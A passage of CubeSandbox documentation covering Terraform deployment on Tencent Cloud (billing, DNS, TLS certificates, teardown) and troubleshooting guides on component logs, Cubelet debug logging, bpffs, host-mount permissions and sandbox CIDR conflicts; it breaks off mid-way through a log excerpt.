1 # 1 month instance_charge_type_prepaid_renew_flag = "NOTIFY_AND_AUTO_RENEW" # auto-renew on expiry # ... } # MySQL → prepaid resource "tencentcloud_mysql_instance" "mysql" { charge_type = "PREPAID" prepaid_period = 1 # 1 month auto_renew_flag = 1 # auto-renew # ... } # Redis → prepaid resource "tencentcloud_redis_instance" "redis" { charge_type = "PREPAID" prepaid_period = 1 auto_renew_flag = 1 # ... } ``` ::: danger Prepaid caveats * Prepaid resources are **not** auto-refunded/released by `destroy.sh` (`terraform destroy`); you must let them expire or refund them manually. * After switching, `destroy.sh` may error or leave residual resources that must be cleaned up by hand in the [Tencent Cloud console](https://console.cloud.tencent.com/). * Only switch when long-term use is confirmed; keep the default pay-as-you-go for evaluation/validation. ::: ## Cost Estimate List prices vary by region, spec tier, promotions, and over time, so this guide does not embed concrete numbers. Use Tencent Cloud's official price calculators and estimate against the specs in [Resources Created by the Default Configuration](#resources-created-by-the-default-configuration): * [Tencent Cloud price calculator (main entry)](https://buy.cloud.tencent.com/price) * [CVM pricing](https://buy.cloud.tencent.com/price/cvm) — jumpserver, compute node, TKE workers * [TKE pricing overview](https://www.tencentcloud.com/document/product/457/45157) — managed cluster management fee * [Cloud MySQL pricing](https://buy.cloud.tencent.com/price/cdb) / [Cloud Redis pricing](https://buy.cloud.tencent.com/price/redis) * [NAT gateway](https://www.tencentcloud.com/document/product/1015) / [CLB](https://www.tencentcloud.com/document/product/214) / [EIP](https://www.tencentcloud.com/document/product/1199) pricing * [CFS pricing](https://buy.cloud.tencent.com/price/cfs) / [TCR pricing](https://www.tencentcloud.com/document/product/1051) ::: tip Controlling cost All resources default to pay-as-you-go (billed by the second, settled hourly). Run `destroy.sh` right after evaluation to avoid idle charges; for long-term use, switch to prepaid as described in [Billing Mode](#billing-mode). ::: ## Deployment Flow (Phased, Fail-Fast) Resources are created in this order; the run stops at the first failed stage: > Network (VPC / subnet / NAT) → **(when `USE_TCR=true`)** TCR → CVMs (jumpserver + compute) → **(TCR mode)** image build/push on the jumpserver → MySQL / Redis → **(when `USE_CFS=true`)** CFS shared storage → TKE cluster + Kubernetes addons → health checks → compute-node setup. * The Kubernetes provider is only engaged after the TKE API server exists. * On teardown, **if CFS was created**, the share is destroyed before its subnet (its NFS mount target is an ENI in that subnet). * Terraform state lives locally under `terraform/tencentcloud/` (`*.tfstate`, gitignored — no remote backend). Keep that directory and the generated `.env` so a later `destroy.sh` or re-run can find and manage the same resources. * Resolved selections are saved to `terraform/tencentcloud/.env` and auto-loaded on the next run; explicit environment variables always win. ## Retrying After a Partial Failure If a stage fails part-way (e.g. an instance type / availability zone sold out in the chosen region/zone, an account quota limit, or a transient API error), you do **not** have to destroy everything and start over: * Fix the cause — most often by **changing configuration**: pick a different `TENCENTCLOUD_AVAILABILITY_ZONE` / `TENCENTCLOUD_COMPUTE_INSTANCE_TYPE` / `TENCENTCLOUD_REGION`, raise the quota, set a password, etc. — then simply **re-run `./terraform/tencentcloud/create.sh`**. * On a re-run, `create.sh` reloads the saved selections from `.env`, reconciles state with what already exists in the cloud (refreshing and importing stateful resources rather than recreating them), and **continues from where it left off**. Existing compute nodes are kept (it never scales down). * Availability genuinely varies by region **and** availability zone — a type offered in one zone may be unavailable in another. The interactive zone / instance-type menus are queried live for your region, and the final choice is validated at apply time. * Only run `destroy.sh` when you actually want to tear the deployment down; it is not required between ordinary retries. ## E2B and the cube.app Domain Single-machine one-click install configures `*.cube.app` resolution via CoreDNS + split DNS on the host. **The Terraform cluster deployment does not include this DNS setup by default**; to create/access sandboxes through the official E2B SDK you must configure domain resolution separately (usually requires [Private DNS](#3-private-dns-as-needed)). ### Background * cube-proxy terminates TLS for `cube.app` / `*.cube.app` (certificates generated on the jumpserver with mkcert by `create.sh`, or replaced with BYO certs). * The E2B SDK accesses sandboxes at URLs like `https://<sandbox-id>.cube.app`. * With the default `TENCENTCLOUD_ENABLE_PUBLIC_NETWORK=false`, the cube-proxy CLB is a **VPC-internal VIP** reachable only from inside the VPC (or via jumpserver / VPN). ### Getting CLB addresses After deployment, from `terraform/tencentcloud/`: ```bash cd terraform/tencentcloud terraform output tke_cube_proxy_clb_ip # cube-proxy terraform output tke_cube_api_clb_ip # cube-api (E2B_API_URL) terraform output tke_cube_webui_clb_ip # WebUI terraform output tke_cubemaster_clb_ip # cube-master (VPC-internal) terraform output jumpserver_ssh_command # jumpserver SSH command ``` `create.sh` also prints these entrypoints when it finishes. ### Option 1: Private DNS (recommended, VPC-internal access) For clients inside the VPC or connected via jumpserver / VPN: 1. Log in to [DNSPod Private DNS](https://console.dnspod.cn/privateDNS) and create a private zone `cube.app`. 2. Add an **A record**: host `*`, value = the internal VIP from `terraform output tke_cube_proxy_clb_ip`; optionally add host `@` pointing to the same VIP. 3. **Associate the zone with the CubeSandbox VPC** (confirm the VPC ID in the [VPC console](https://console.cloud.tencent.com/vpc)). 4. Verify from inside the VPC (jumpserver or compute node): ```bash dig +short test.cube.app curl -k https://test.cube.app/ # self-signed cert: use -k or trust the mkcert CA ``` ### Option 2: /etc/hosts (testing only) Manually bind a few sandbox hostnames on the machine running the E2B SDK (must be able to route to the cube-proxy CLB internal VIP). Wildcard coverage is incomplete — **not suitable for concurrent multi-sandbox tests**. ### Option 3: Public CLB + public DNS 1. Set `TENCENTCLOUD_ENABLE_PUBLIC_NETWORK=true` and redeploy (rebuilds CLBs; VIPs change). 2. Point `cube.app` / `*.cube.app` in public DNS to the public CLB VIP. 3. Replace certificates in `terraform/tencentcloud/cubeproxy-certs/` with a public CA-signed cert (see [Advanced: Bring Your Own cube-proxy TLS Certificate](#advanced-bring-your-own-cube-proxy-tls-certificate)). 4. Read [Hardening the Public-Facing Services](#hardening-the-public-facing-services) before enabling. ### E2B SDK environment variables ```bash export E2B_API_URL=http://<cube-api-clb-vip>:3000 export E2B_API_KEY=e2b_000000 ``` **Note:** sandbox traffic itself goes through `*.cube.app` → cube-proxy, so **cube.app DNS resolution and TLS certificates** are required — configuring `E2B_API_URL` alone is not enough. See also [Connect Clients to the Cluster](./multi-node-deploy.md#connect-clients-to-the-cluster). | Capability | Single-machine one-click | Terraform cluster | |------------|--------------------------|-------------------| | `*.cube.app` resolution | Automatic (CoreDNS + split DNS) | **Manual** Private DNS / hosts / public DNS | | TLS certificates | Host mkcert | Jumpserver mkcert → K8s Secret mount | | cube-api address | `http://<host>:3000` | cube-api CLB internal / public VIP | ## Verifying the Deployment After it finishes, `create.sh` runs health checks and prints the access entrypoints (CLB addresses for cube-api, cube-webui, etc.). You can also enter the VPC through the jumpserver to troubleshoot: ```bash # create.sh prints a command like the following ssh -i terraform/tencentcloud/.ssh/id_rsa -p 443 -o StrictHostKeyChecking=no root@<jumpserver_public_ip> ``` ## Tearing Everything Down ```bash ./terraform/tencentcloud/destroy.sh ``` `destroy.sh` also needs `TENCENTCLOUD_SECRET_ID` / `TENCENTCLOUD_SECRET_KEY` and reuses the selections `create.sh` saved to `terraform/tencentcloud/.env`. It runs without extra prompting — running `destroy.sh` itself confirms the teardown. ::: danger Avoid unexpected billing If `destroy.sh` cannot remove every resource (for example MySQL/Redis stuck in the recycle bin / isolated state, or leftovers Terraform can no longer see), log in to the Tencent Cloud console and delete the remaining resources by hand so you are not billed for orphans: * [VPC / network](https://console.cloud.tencent.com/vpc) * [MySQL recycle bin](https://console.cloud.tencent.com/cdb/recycle) * [Redis recycle bin](https://console.cloud.tencent.com/redis/recycle) * [CFS file systems](https://console.cloud.tencent.com/cfs) (if `USE_CFS=true` was enabled) `destroy.sh` also prints these same links when a teardown step fails or a recycle-bin cleanup is not confirmed. ::: ## Advanced: Bring Your Own cube-proxy TLS Certificate `cube-proxy` terminates TLS for `cube.app` / `*.cube.app`, and its bundled nginx config hard-codes the certificate paths `…/certs/cube.app+3.pem` and `…/certs/cube.app+3-key.pem`: * **By default**, `create.sh` generates a **self-signed** pair on the jumpserver with the bundled `mkcert` (SANs: `cube.app`, `*.cube.app`, `localhost`, `127.0.0.1`), downloads it to `terraform/tencentcloud/cubeproxy-certs/`, and Terraform packs every file in that directory into the `cubeproxy-certs` Secret (a Secret, not a ConfigMap, because it holds the TLS private key), mounted read-only into the cube-proxy pod at `/usr/local/openresty/nginx/certs/`. * **Bring your own certificate:** before running `create.sh`, drop your PEM cert + key into `terraform/tencentcloud/cubeproxy-certs/`, named exactly `cube.app+3.pem` and `cube.app+3-key.pem` (the names nginx expects) and covering the `cube.app` and `*.cube.app` SANs. `create.sh` reuses existing files instead of generating new ones, so a CA-signed certificate is used as-is, with no self-signed warning. * **Rotate a certificate:** replace the two files and re-run `create.sh`; the deploy stage refreshes the `cubeproxy-certs` Secret and restarts cube-proxy to pick up the new material. The self-signed default trips browsers/clients with an "untrusted CA" warning, so replace it for any non-throwaway use. ## Troubleshooting For common deployment issues (Docker, KVM, DNS, quotas, etc.), see [Troubleshooting — Deployment](./troubleshooting/deployment.md). --- --- url: https://cubesandbox.com/guide/troubleshooting.md --- # Troubleshooting ::: warning Bilingual PR Required Every contribution in this section must include both an English file under `docs/guide/troubleshooting/` and a Chinese file under `docs/zh/guide/troubleshooting/`. PRs that update only one language will not be merged. ::: This section collects practical troubleshooting write-ups for Cube Sandbox deployments and daily operations. Preferred submissions are concrete, reproducible, and directly actionable. ## Topic index Curated index tables of high-frequency issues, each row linking to a GitHub Issue: * [Deployment Troubleshooting](./deployment.md) * [Templates Troubleshooting](./templates.md) ## What belongs here * Deployment failures and environment-specific pitfalls * Runtime errors, networking issues, and authentication problems * Upgrade regressions, version compatibility notes, and recovery steps * FAQ-style operational guidance grounded in real incidents ## How to contribute 1. Copy `_template.md` in the current directory and rename it to an English kebab-case slug such as `e2b-api-401-timeout.md`. 2. Create both files at the same time: * `docs/guide/troubleshooting/<slug>.md` * `docs/zh/guide/troubleshooting/<slug>.md` 3. Keep the filename identical in both languages to keep the URLs aligned. 4. Fill in the required frontmatter fields and complete the troubleshooting sections. 5. Add your article to the table below in both the English and Chinese index pages. 6. Open a PR with enough context for reviewers to validate the issue and fix. ## Naming and frontmatter * Filenames must use English kebab-case. * Chinese filenames are not allowed. * Use the same slug in both language directories. * Keep frontmatter keys aligned across both files. ```md --- title: E2B API 401 Timeout Behind Reverse Proxy author: your-github-id date: 2026-05-14 tags: - api - auth - reverse-proxy lang: en-US --- ``` ## Published articles | Title | Author | Date | Tags | | --- | --- | --- | --- | | [Template Creation Times Out When the Sandbox CIDR Overlaps the LAN](./local-network-cidr-conflict.md) | luzhixing12345 | 2026-05-20 | deployment, networking, one-click | | [Host Mounts Fail with Permission Denied](./host-mount-permissions.md) | barry166 | 2026-06-14 | runtime, host-mount, permissions | | [How to Find CubeSandbox Component Logs (cubecli logs and the Guest Kernel Log)](./component-log-locations.md) | ls-ggg | 2026-07-15 | logging, cubelet, cubeshim, operations | | *Add your article here* | - | - | - | --- --- url: https://cubesandbox.com/guide/troubleshooting/component-log-locations.md --- # How to Find CubeSandbox Component Logs (cubecli logs and the Guest Kernel Log) ## Symptom CubeSandbox is made up of several components (CubeAPI, CubeMaster, Cubelet, CubeShim, the Hypervisor/VMM, Cubelet embedded network runtime, cube-proxy). When troubleshooting, it's often unclear which log file a given error actually lands in, where the guest kernel boot log can be found, and how to raise Cubelet's log verbosity — its default log level (`warn`) doesn't print enough detail to reproduce most issues. This article lists the **exact paths** for every component's logs in a one-click (systemd-managed) deployment, explains how to use `cubecli logs` to read sandbox/template logs, shows where the guest kernel boot log lives, and covers how to turn on Cubelet debug logging. ## Environment * Cube Sandbox version: v0.4.0 or newer (one-click deployment, systemd-managed) * Deployment mode: all-in-one or multi-node cluster, applies to both * Host OS / kernel: any Linux host running Cubelet * Related components: CubeAPI, CubeMaster, Cubelet, CubeShim, Hypervisor (VMM), Cubelet embedded network runtime, cube-proxy ## Root Cause CubeSandbox logs fall into three categories, each with a different source and a different way to read it: 1. **Business/behavioral logs**: requests, scheduling, audit, VMM creation, etc. Each component writes these directly to files under `/data/log/<Module>/`. They **never** show up in `journalctl`. 2. **Startup-time logs**: the stdout/stderr produced while a process is being brought up by systemd (or exiting on failure). These can only be viewed with `journalctl -u <unit>`. 3. **Sandbox/template container logs**: the stdout/stderr of the sandbox's init process (container PID 1), written by CubeShim into Cubelet's private mount namespace. These require `cubecli logs` to read; template build logs, by contrast, land on the host filesystem and need no namespace entry. The guest kernel's boot log is, at its core, just another form of "container init process output": CubeShim forwards everything the guest kernel prints over its `console=hvc0` console — including the `Linux version ...` boot banner — into the very same `cube-shim-req.log`. So **the guest kernel log is already inside the CubeShim log**; no extra tooling is needed. Cubelet defaults to a fairly quiet `warn` log level, so normal operation won't print detailed debug information. There are two ways to raise it to `debug`: edit the hot-reloaded dynamic config file, or flip it temporarily via a built-in HTTP endpoint (no restart required). ## Resolution ### 1. Component log cheat sheet | Component | Log type | Path | How to view | |---|---|---|---| | CubeAPI | Business request log (daily rotation) | `/data/log/CubeAPI/cube-api-YYYY-MM-DD.log` | `tail -F` | | CubeMaster | Business request log | `/data/log/CubeMaster/cubemaster-req.log` | `tail -F` | | CubeMaster | Startup-time log | `/data/log/CubeMaster/cubemaster.log` | `tail -F` | | Cubelet | Business request log | `/data/log/Cubelet/Cubelet-req.log` | `tail -F` | | Cubelet | Stats/metrics log | `/data/log/Cubelet/Cubelet-stat.log` | `tail -F` | | Cubelet | Startup-time log | — | `journalctl -u cube-sandbox-cubelet.service` | | CubeShim | Business request log (includes guest kernel output) | `/data/log/CubeShim/cube-shim-req.log` | `tail -F` | | CubeShim | Stats log | `/data/log/CubeShim/cube-shim-stat.log` | `tail -F` | | Hypervisor (VMM) | VMM creation log | `/data/log/CubeVmm/vmm.log` | `tail -F` | | cube-proxy | Access/error logs | `/data/log/cube-proxy/{access,error}.log` | `tail -F` (see below) | | Sandbox container | init process stdout/stderr | `/data/cubelet/state/io.containerd.runtime.v2.task/default/<sandbox-id>/{stdout,stderr}` (inside Cubelet's mount namespace) | `cubecli logs <sandbox-id>` (see below) | | Template build | Build container stdout/stderr | `/data/log/template/<template-id>_0/{stdout,stderr}` (host filesystem) | `cubecli logs --tpl <template-id>` | ::: tip Business logs are not in journalctl As also documented in `docs/guide/service-management.md`: all business/request logs above go **directly to files under `/data/log/<Module>/`**. `journalctl` only shows the small amount of stdout/stderr produced while the process is starting up or exiting. ::: ### 2. Reading sandbox / template logs with `cubecli logs` `cubecli` is built alongside Cubelet and installed automatically by the one-click installer. Sandbox log files live inside Cubelet's private mount namespace, so `cubecli logs` **must be run directly on the compute node** — it cannot be invoked remotely via any API. ```bash # Sandbox stdout, last 100 lines (default) cubecli logs <sandbox-id> # Sandbox stderr, last 100 lines cubecli logs --stderr <sandbox-id> # Full sandbox log cubecli logs --all <sandbox-id> # Last N / first N lines cubecli logs --tail 50 <sandbox-id> cubecli logs --head 20 <sandbox-id> # Template build log: read straight from the host filesystem, skipping namespace entry cubecli logs --tpl <template-id> cubecli logs --tpl --all --stderr <template-id> ``` Flags: | Flag | Shorthand | Description | |---|---|---| | `--tpl` | — | Treat the id as a template ID, reading from `/data/log/template/<id>_0/` with no namespace entry | | `--stderr` | `-e` | Read stderr instead of stdout | | `--all` | `-a` | Print all lines; cannot be combined with `--tail`/`--head` | | `--tail N` | `-t N` | Print the last N lines (default 100) | | `--head N` | `-H N` | Print the first N lines | `cubecli logs` only covers the output of the **container init process (PID 1)**. Sub-tasks started inside a sandbox via the E2B `exec` interface produce their own stdout/stderr, which must be captured with the E2B SDK's `on_stdout`/`on_stderr` callbacks — that's out of scope here; see [Sandbox Logs](../sandbox-logs.md). Log files are removed together with the sandbox once it's deleted, and log forwarding requires CubeShim v0.4.0 or newer. ### 3. Guest kernel log: right there in the CubeShim log When CubeShim boots a VM, it takes over the guest kernel's console output via the `console=hvc0` kernel parameter, and — just like the sandbox's init-process output — forwards it into the same CubeShim request log file: ```bash LC_ALL=C sudo grep -a -E "(<sandbox-id or InstanceId>|Linux version)" /data/log/CubeShim/cube-shim-req.log ``` `cube-shim-req.log` is newline-delimited JSON; the actual log text lives in the `LogContent` field. A typical guest kernel boot record looks like: ```json {"Module":"Shim","InstanceId":"<sandbox-id>","ContainerId":"<sandbox-id>","Timestamp":"...","LogContent":"[ 0.000000] Linux version 6.12.33-cube.sandbox.pvm.guest-... #2 SMP PREEMPT_DYNAMIC ...","FunctionType":""} ``` Filtering by `InstanceId` (the sandbox ID) gets you the full kernel boot output for that sandbox — device probing, `EXT4-fs`, rootfs mount, and so on — with no extra tooling or namespace entry required. ::: tip Why it's here and not somewhere else `console=hvc0` is the VM's serial console; every kernel `printk` goes through it. CubeShim forwards that console stream straight into its own log pipeline (sharing the same writer as its ordinary request logs), so reading the guest kernel log is just a `grep` on `cube-shim-req.log` — no extra mount or debug tool needed. ::: ### 4. cube-proxy host logs `cube-proxy` is an OpenResty-based nginx container. The one-click deployment bind-mounts the host directory `/data/log/cube-proxy/` into the container at the same path, so read the logs directly from the host: ```bash tail -F /data/log/cube-proxy/error.log tail -F /data/log/cube-proxy/access.log ``` The container uses the same `/data/log/cube-proxy/` path, backed by the host directory. | File | Content | |---|---| | `access.log` | nginx access log | | `error.log` | nginx error log | ### 5. Enabling Cubelet debug-level logging Cubelet's default log level is `warn`, which usually isn't verbose enough for troubleshooting. There are two ways to raise it to `debug`, neither of which requires **restarting the Cubelet process**: #### Option 1: Edit the dynamic config file (persistent, hot-reloaded) Cubelet polls its dynamic config file `dynamicconf/conf.yaml` every 10 seconds and hot-reloads it (including re-applying the log level) whenever it changes. Add a `log_level` line under the `common:` section: ```yaml common: enable_pf_mode: false log_level: debug # add this line sandbox_exec_cmd_time_out: 5s ... ``` In a one-click deployment, the default path for this file is: ``` /usr/local/services/cubetoolbox/Cubelet/dynamicconf/conf.yaml ``` After saving, wait roughly 10 seconds (the config poll interval) for Cubelet to pick up `debug` level; `/data/log/Cubelet/Cubelet-req.log` will then start emitting much finer-grained records. Debug logging can increase per-request log volume by an order of magnitude, causing disk I/O contention and CPU overhead under high throughput — watch `/data/log/` disk usage while debug is active. Remember to remove the line or reset it back to `info`/`warn` once you're done, so you don't accumulate excessive log volume long-term. #### Option 2: Flip it temporarily via the debug port (no file change, resets on restart) Cubelet exposes a built-in debug HTTP port (listening on `:9966` by default, matching `[debug] address` in `config.toml`) with a `/debug/loglevel` endpoint you can call directly to switch levels on the fly: ```bash # Switch to debug curl -X POST 'http://127.0.0.1:9966/debug/loglevel?level=debug' # Switch back to info once done curl -X POST 'http://127.0.0.1:9966/debug/loglevel?level=info' ``` This takes effect immediately, with no polling delay — but it's **only valid for the lifetime of the current process**. Once Cubelet restarts, the level reverts to whatever the config file specifies (`warn` by default). This is the right choice when you want to capture a short window of detailed logs without touching the config file. The same debug port also hosts `pprof` profiling endpoints (`/debug/pprof/*`), which are useful when investigating performance issues. **Security note:** pprof exposes goroutine stacks, heap profiles, and source snippets — keep port `:9966` bound to localhost only; never proxy it through a reverse proxy or bind it to `0.0.0.0`. ::: warning Only affects newly created sandboxes No matter which method you use to switch to `debug`, **sandboxes that are already running will not retroactively emit more detailed logs.** Their creation/startup-phase log lines were already written at whatever level was in effect at the time, and switching the level afterwards doesn't cause them to be reprinted. To capture full `debug`-level output, switch the level **before** creating/starting the sandbox you want to inspect — i.e. reproduce the issue with a freshly created sandbox after raising the level, rather than expecting an already-running sandbox to suddenly log more. ::: ## References * Related docs: * [Sandbox Logs](../sandbox-logs.md) * [Service Management and Logs](../service-management.md) * Related code: * `Cubelet/cmd/cubecli/commands/cubebox/logs.go` (`cubecli logs` implementation) * `Cubelet/services/server/server.go` (the `/debug/loglevel` HTTP endpoint) * `Cubelet/pkg/config/config.go`, `Cubelet/pkg/hotswap/file.go` (dynamic config hot reload) * `shim/src/log/mod.rs` (CubeShim's log/console-forwarding implementation) * `shim/src/hypervisor/config.rs` (the `console=hvc0` kernel parameter setup) --- --- url: https://cubesandbox.com/guide/troubleshooting/deployment.md --- # Deployment Troubleshooting | Title | Description | Related Issues | | --- | --- | --- | | `/data/cubelet` must be on XFS (reflink) | `cubelet` stores container writable layers under `/data/cubelet` and relies on XFS reflink. Deploying on ext4-rooted hosts (Ubuntu / Debian / WSL) makes the one-click pre-flight reject with `not XFS`. Workaround: mount a loopback `.img` formatted as XFS at `/data/cubelet`. For production, attach a dedicated XFS data disk (100–300 GiB). For fresh installs prefer OpenCloudOS 9 / RHEL family. | [#311](https://github.com/TencentCloud/CubeSandbox/issues/311), [#245](https://github.com/TencentCloud/CubeSandbox/issues/245) | | Template Creation Times Out When the Sandbox CIDR Overlaps the LAN | The one-click deployment defaults the sandbox network to `192.168.0.0/18`. If the host LAN also uses `192.168.1.x`, Cube may allocate sandbox IPs that overlap the physical network, causing template creation or port probing to fail with `context deadline exceeded`. Change the Cubelet CIDR to a non-overlapping range and remove the old TAP devices plus `cube-dev` before restarting. | [Guide](./local-network-cidr-conflict.md) | | Changing the CIDR (residual `cube-dev`) | Stopping Cube does not remove the `cube-dev` interface or `z*` TAP devices, so they linger after a stop. Changing `CUBE_SANDBOX_NETWORK_CIDR` to a range that overlaps the residual `cube-dev` is rejected by the pre-flight with a deterministic-reset hint (a reboot alone is not enough). A same-CIDR reinstall reuses `cube-dev` automatically. | [Guide](./local-network-cidr-conflict.md#changing-the-cidr-residual-cube-dev) | | cgroup v2 `cpu` controller not enabled on Ubuntu, cubelet CPU quotas don't take effect | Ubuntu / Debian cloud images don't delegate the cgroup v2 `cpu` controller to child cgroups by default, and `multipathd`'s RT threads make `+cpu` writes fail with `Invalid argument`. See the issue for full repro and fix. | [#366](https://github.com/TencentCloud/CubeSandbox/issues/366) | | bpffs is not mounted | Cubelet's embedded network runtime pins eBPF programs and maps under `/sys/fs/bpf`, so the installer stops before making system changes when that directory is not a `bpf` filesystem. | [Guide](#bpffs-is-not-mounted) | ## bpffs is not mounted Cubelet's embedded network runtime relies on `/sys/fs/bpf` being mounted as `bpffs` (bpf filesystem) to pin its eBPF programs and maps. In WSL2 or minimal Linux environments where `bpffs` is not mounted by default, the one-click pre-flight check rejects the deployment before making system changes. ### 1. Confirm Kernel Support First, verify that the running kernel supports the `bpf` filesystem: ```bash grep -w bpf /proc/filesystems ``` If this command produces no output, the running kernel lacks eBPF/bpffs support (missing `CONFIG_BPF_SYSCALL`). Upgrade or switch to a kernel with eBPF support before retrying. ### 2. Mount bpffs If kernel support is present, create the directory if needed and mount `bpffs` as root: ```bash mkdir -p /sys/fs/bpf mount -t bpf bpf /sys/fs/bpf ``` ### 3. Make it Persistent (Optional) To persist the mount across system reboots, add the following entry to `/etc/fstab`: ```text bpf /sys/fs/bpf bpf defaults 0 0 ``` --- --- url: https://cubesandbox.com/guide/troubleshooting/host-mount-permissions.md --- # Host Mounts Fail with Permission Denied ## Symptom A sandbox can see a host-mounted directory, but writing to it fails with `Permission denied`: ```text /bin/bash: line 1: /mnt/rw/1.txt: Permission denied ``` This often appears after creating a sandbox with a writable host mount: ```python import json from cubesandbox import Sandbox mounts = json.dumps([ { "hostPath": "/tmp/rw", "mountPath": "/mnt/rw", "readOnly": False, }, ]) with Sandbox.create(metadata={"host-mount": mounts}) as sandbox: sandbox.commands.run("echo hello > /mnt/rw/1.txt") ``` ## Environment * Cube Sandbox version: v0.4.0 or later * Deployment mode: one-click, bare-metal, or multi-node deployment * Host OS / kernel: Linux host running Cubelet * Related components: Cubelet, host mount metadata, sandbox command user ## Root Cause `metadata["host-mount"]` maps an existing path on the Cubelet host into the sandbox. It does not copy files, create a workspace snapshot, or rewrite ownership. For a read-write mount, Linux permissions still apply: * `hostPath` must already exist on the Cubelet node that runs the sandbox. * The mounted directory keeps its host-side owner, group, and mode bits. * Commands inside the sandbox run as the sandbox user by default. * If the host directory is owned by a different UID/GID, the sandbox user may be able to read the path but not write to it. For example, if `/tmp/rw` is owned by host user `uid=1002`, but the sandbox command runs as `uid=1000`, a write to `/mnt/rw` can fail even when `readOnly` is `False`. This is expected Linux mount behavior. The `readOnly` flag controls whether Cube mounts the path read-only or read-write; it does not grant write permission to users that the host filesystem would reject. ## Resolution First, confirm the host path exists on the Cubelet node: ```bash sudo test -d /tmp/rw sudo stat -c 'owner=%u:%g mode=%a path=%n' /tmp/rw ``` Then choose one of the following patterns. ### Option 1: Use a read-only mount for source workspaces For agent workloads that only need to inspect code, mount the workspace read-only: ```python import json from cubesandbox import Sandbox mounts = json.dumps([ { "hostPath": "/srv/workspaces/my-repo", "mountPath": "/workspace", "readOnly": True, }, ]) with Sandbox.create(metadata={"host-mount": mounts}) as sandbox: result = sandbox.commands.run("ls /workspace") print(result.stdout) ``` This is the safest default for sharing a host repository with a sandbox. ### Option 2: Align ownership for read-write mounts If the sandbox must write back to the host directory, make the host directory writable by the sandbox command user. One common setup is to create a dedicated host directory owned by the sandbox UID/GID: ```bash sudo mkdir -p /tmp/rw sudo chown 1000:1000 /tmp/rw sudo chmod 0755 /tmp/rw ``` Then mount it read-write: ```python mounts = json.dumps([ { "hostPath": "/tmp/rw", "mountPath": "/mnt/rw", "readOnly": False, }, ]) ``` If your sandbox image uses a different user, check it from inside the sandbox: ```python with Sandbox.create(metadata={"host-mount": mounts}) as sandbox: result = sandbox.commands.run("id && stat -c '%u:%g %a %n' /mnt/rw") print(result.stdout) ``` Use the reported UID/GID when preparing the host directory. ### Option 3: Use ACLs when the host owner must stay unchanged If you cannot change the directory owner, grant write access to the sandbox UID with POSIX ACLs: ```bash sudo setfacl -m u:1000:rwx /tmp/rw sudo setfacl -d -m u:1000:rwx /tmp/rw ``` This keeps the existing host owner while allowing the sandbox user to write new files. ### Option 4: Run the write as root only when appropriate For administrative operations, you can run the command as `root` if your SDK path and policy allow it: ```python with Sandbox.create(metadata={"host-mount": mounts}) as sandbox: sandbox.commands.run("echo hello > /mnt/rw/1.txt", user="root") ``` Use this only for trusted workloads. It can create root-owned files on the host mount, which may surprise later host-side tools. ## Workspace Mapping Notes Host mounts are node-local. In a multi-node cluster, the `hostPath` must exist on the Cubelet node where the sandbox is scheduled. If you want the sandbox to work with the same repository as your local development machine, use one of these approaches: * Sync the repository to a known directory on each Cubelet node, then mount that directory. * Place the repository on shared storage that is mounted at the same path on every Cubelet node. * Build the repository into a template image if the sandbox only needs a fixed snapshot. * Copy files into the sandbox at runtime if the workspace is small and does not need host-side write-back. Do not rely on `host-mount` alone to transfer files from your laptop to a remote Cubelet node. ## References * Related issue: [#239](https://github.com/TencentCloud/CubeSandbox/issues/239) * Example: [`examples/host-mount`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/host-mount) --- --- url: https://cubesandbox.com/guide/troubleshooting/local-network-cidr-conflict.md --- # Template Creation Times Out When the Sandbox CIDR Overlaps the LAN ## Symptom Template creation fails during the `CREATING_TEMPLATE` phase: ```bash cubemastercli run fail: template tpl-xx creation failed: context deadline exceeded ``` Or `cube-bench` reports errors during a benchmark run: ```bash ~/CubeSandbox/examples/cube-bench$ ./bin/cube-bench -c 20 -n 200 ... ╭────────────────────────────────────────────────╮ ╭────────────────────────────────────────────────────────────────────────────────────────────────╮ │ Live Stats │ │ Recent Operations │ │ │ │ │ │ Completed 54 / 200 │ │ # 74 ERR create HTTP 500: {"code":500,"message":"CubeMas... │ │ Errors 20 │ │ # 73 ERR create HTTP 500: {"code":500,"message":"CubeMas... │ │ QPS 2.4 req/s │ │ # 72 ERR create HTTP 500: {"code":500,"message":"CubeMas... │ │ Avg Create 1254 ms │ │ # 69 ERR create HTTP 500: {"code":500,"message":"CubeMas... │ │ Avg Delete 864 ms │ │ # 70 ERR create HTTP 500: {"code":500,"message":"CubeMas... │ │ Elapsed 29.1s │ │ # 71 ERR create HTTP 500: {"code":500,"message":"CubeMas... │ │ │ │ # 68 ERR create HTTP 500: {"code":500,"message":"CubeMas... │ ╰────────────────────────────────────────────────╯ │ # 67 ERR create HTTP 500: {"code":500,"message":"CubeMas... │ │ │ ╰────────────────────────────────────────────────────────────────────────────────────────────────╯ create HTTP 500: {"code":500,"message":"CubeMaster returned error code 130595: context deadline exceeded"} ``` ## Environment * Cube Sandbox version: e29453 * Deployment mode: bare-metal or local physical-machine deployment * Host OS / kernel: Ubuntu 22.04 / Linux 6.6 * Related components: `Cubelet`, persistent TAP devices ## Root Cause On a bare-metal or local physical-machine deployment, Cube creates many persistent TAP devices named like `z192.168.0.x` or `z192.168.1.x`. The default configuration is in `Cubelet/config/config.toml`. By default, Cube creates 500 TAP devices from the `192.168.0.0/18` CIDR: ```toml [plugins] [plugins."io.cubelet.internal.v1.network"] object_dir = "/usr/local/services/cubetoolbox/cube-vs/network" eth_name = "eth0" tap_init_num = 500 cidr = "192.168.0.0/18" ``` Cube's default sandbox CIDR is `192.168.0.0/18`. If the host LAN also uses a related range, such as `192.168.1.x`, sandbox addresses can overlap with the real LAN, causing routing and port probing failures. After reproducing the failure with `./bin/cube-bench -c 20 -n 200`, check the Cubelet log at `/data/log/Cubelet/Cubelet-req.log`: ```bash $ rg 'PortBindingFailed|probe \\[|Create fail|RunCubeSandboxRequest|sandboxIP|port_mappings]' /data/log/Cubelet/Cubelet-req.log | jq { "CalleeEndpoint": "", "CalleeAction": "Create", "Action": "Create", "InstanceId": "16157c528b224e9eacc6307a2af5705e", "RequestId": "069f93aa-927d-4436-aac0-cc0aa8a89ca9", "@timestamp": "2026-05-20T10:10:16.896601536-04:00", "InstanceType": "cubebox", "Callee": "cubebox", "Version": "release", "CodeLine": "", "FunctionType": "cubebox", "Caller": "cubebox-service", "Namespace": "default", "RetCode": 0, "LogContent": "[cubebox] fail:PortBindingFailed The initialization timeout or detecting 192.168.1.40 port failed.", "LocalIp": "192.168.1.123", "Module": "Cubelet", "LogLevel": "ERROR" } { "InstanceId": "", "Callee": "workflow", "RetCode": 130459, "Namespace": "default", 